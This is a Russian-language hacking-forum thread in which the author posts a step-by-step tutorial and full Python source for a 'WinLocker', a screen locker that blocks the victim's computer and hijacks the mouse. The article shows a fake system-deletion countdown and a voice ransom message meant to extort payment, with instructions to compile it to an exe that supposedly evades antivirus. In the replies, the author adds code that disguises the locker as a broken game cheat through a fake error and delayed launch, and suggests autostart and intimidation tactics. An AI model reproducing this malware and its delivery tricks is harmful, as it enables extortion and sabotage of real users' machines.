• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья WinLocker на python. Пишем вирус.

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Конкурс статей от VLMI
Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "WinLocker"
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем последнюю версию и устанавливаем ее.
1.png 2.png 3.png
Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)
Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame
__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек
pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)
___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения
____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.
Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.
Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем
____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.
Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.top") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.

_____________________________________________________________________________________

Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.
Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса vlmi.top",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше
______________________________________________________________________________________

У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.
Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ
______________________________________________________________________________________

До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y
_______________________________________________________________________________________

В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса
- ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать
конвертеры.
Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.

_______________________________________________________________________________________

Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.
Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y

________________________________________________________________________________________

Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.
Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.
Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу. Смотрим видео!)
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами

-F соберет все файлы в один exe файл
-w отключит консоль

-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)
После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.

  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.
Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке - ТЫК
!!!ВАЖНО - пароль от локера vlmi
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.
upload_2018-5-9_21-15-3.png
готовая программа

Спасибо за прочтения данной статьи, я очень старался и писал ее на протяжении 4 дней)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом :-)

Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
Внимание
 
Последнее редактирование:

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию

Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
___________________________________________________________
Что еще добавить в словарик?)
 
Последнее редактирование:

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
UPну, так как дописал словарик, да и VIP статус по идее позволяет)
upload_2018-5-11_17-31-30.png
 

User_67537

Guest
U

User_67537

Guest
автор, есть пару вопросов, 1) если истечет количество попыток что произойдет? 2) если винлок запущен, и ты перезагружаешь комп он останется торчать так или нет?
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
автор, есть пару вопросов, 1) если истечет количество попыток что произойдет? 2) если винлок запущен, и ты перезагружаешь комп он останется торчать так или нет?
  1. Количества попыток нету. Если хочешь,то можно добавить счетчик к которому при вводе пароля будет прибавляться единичка. И условие если при превышении например в 30 раз, тогда может происходить какое то действие.
  2. К сожалению "торчать" в автозапуске он не будет, тут слабы возможности взаимодействия питона с системой. С автозапуском можно сделать 3 варианта.
  • С помощью bat-ника и sfx можно попробовать засунуть наш exe в в автозагрузку, но это костыли)
  • Вручную установить в автозагрузку системы. Подойдет для RAT юзеров, или для компьютера к которому у тебя есть доступ.
  • Запугать жертву, что при перезагрузке удалится система/т.д. И в страхе она не перезапустит компьютер, тут работает СИ
 
Последнее редактирование:

Bakinets

Местный
Сообщения
62
Реакции
101
0 руб.
Хорошие вопросы задали выше. У меня другой. Можно ли задать время запуска локера? Чтоб не сразу запускался, а чуть позже.
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Хорошие вопросы задали выше. У меня другой. Можно ли задать время запуска локера? Чтоб не сразу запускался, а чуть позже.
Время запуска самого окна программы или нажатия и передвижения мышки?
 

Bakinets

Местный
Сообщения
62
Реакции
101
0 руб.
Время запуска самого окна программы или нажатия и передвижения мышки?
Время запуска отложить. Например чел скачал вирус, ну например чит. потыкал на него, ну от типа не заработал. И он забил на него. А например на следующий день он запустился. Ну чтоб жертва не поняла из за какого файла эта херня произошла
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Время запуска отложить. Например чел скачал вирус, ну например чит. потыкал на него, ну от типа не заработал. И он забил на него. А например на следующий день он запустился. Ну чтоб жертва не поняла из за какого файла эта херня произошла
Если я правильно понял,то так.
Код:
#в начале импортируем модуль messagebox
from tkinter import messagebox #с библиотеки tkinter импортируем модуль messagebox
#Перед строчкой "screen.attributes("-fullscreen",True)" мы должны вставить вот это:
messagebox.showerror("error" , "ошибка") #выводим ошибочное окошко, где "error" - это заголовок,а "ошибка" - текст ошибки
screen.after(5000) #делаем задержку на 5 секунд,в милисикундах
Правда программа будут висеть на панели программ.
*Набросал на скорую руку*
 

Oppa-opa-pa

Новичок
Сообщения
1
Реакции
0
0 руб.
Говоришь ругаться не на что антивирусам?)
- это твой файл в сборе
- это твой же файл в сборе с той же иконкой, но отключен импорт pygame и, соответственно, часть кода с воспроизведением тоже.
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Говоришь ругаться не на что антивирусам?)
- это твой файл в сборе
- это твой же файл в сборе с той же иконкой, но отключен импорт pygame и, соответственно, часть кода с воспроизведением тоже.
Ну во первых ты сунул файл на вт, а это очень тупо:confused:
(За такое и диз не жалко)
Во вторых ругаются три/четыре ноунейма антивируса и не на код, а на компилятор Pyinstaller.
_________________________________________________________________
Скомпиль прогу a+b в exe через Pyinstaller и пойми что тоже будет ругаться несколько антивирей
 
Последнее редактирование:

Белка2010

Участник
Сообщения
43
Реакции
29
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Ну во первых ты сунул файл на вт, а это очень тупо:confused:
Во вторых ругаются три/четыре ноунейм антивируса и не на код, а на компилятор Pyinstaller.
_________________________________________________________________
Скомпиль прогу a+b в exe через Pyinstaller и пойми что тоже будет ругаться несколько антивирей
Согласен) Просто это тот чел, который любит создавать себе проблемы, а потом обвинять в этом других))
 

Azizbro

Участник
Сообщения
5
Реакции
2
0 руб.
При запуске файла exe, вылезает вот что " Fatal Error!: Failed to execute script winlock" . Облазил интернет и ничего
:(
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
При запуске файла exe, вылезает вот что " Fatal Error!: Failed to execute script winlock" . Облазил интернет и ничего
:(
Ошибка в коде,попробуй перед компиляцией в exe запустить скрипт в IDLE(F5).
Скорее всего у тебя в коде используется wav файл,а рядом с exe его нет
 

Azizbro

Участник
Сообщения
5
Реакции
2
0 руб.
Ошибка в коде,попробуй перед компиляцией в exe запустить скрипт в IDLE(F5).
Скорее всего у тебя в коде используется wav файл,а рядом с exe его нет
Я не понял как, но проблема сама решилась после того как запустил в IDLE, спасибо за время, и за полезную статью)
 

Vladd13

Новичок
Сообщения
4
Реакции
0
0 руб.
Блин, круто!) Но. к сожалению, у меня не получилось!!(( Все сделал, а в папке dist exeшник не появился
SyntaxError: unexpected EOF while parsing
 
Последнее редактирование:
Сверху Снизу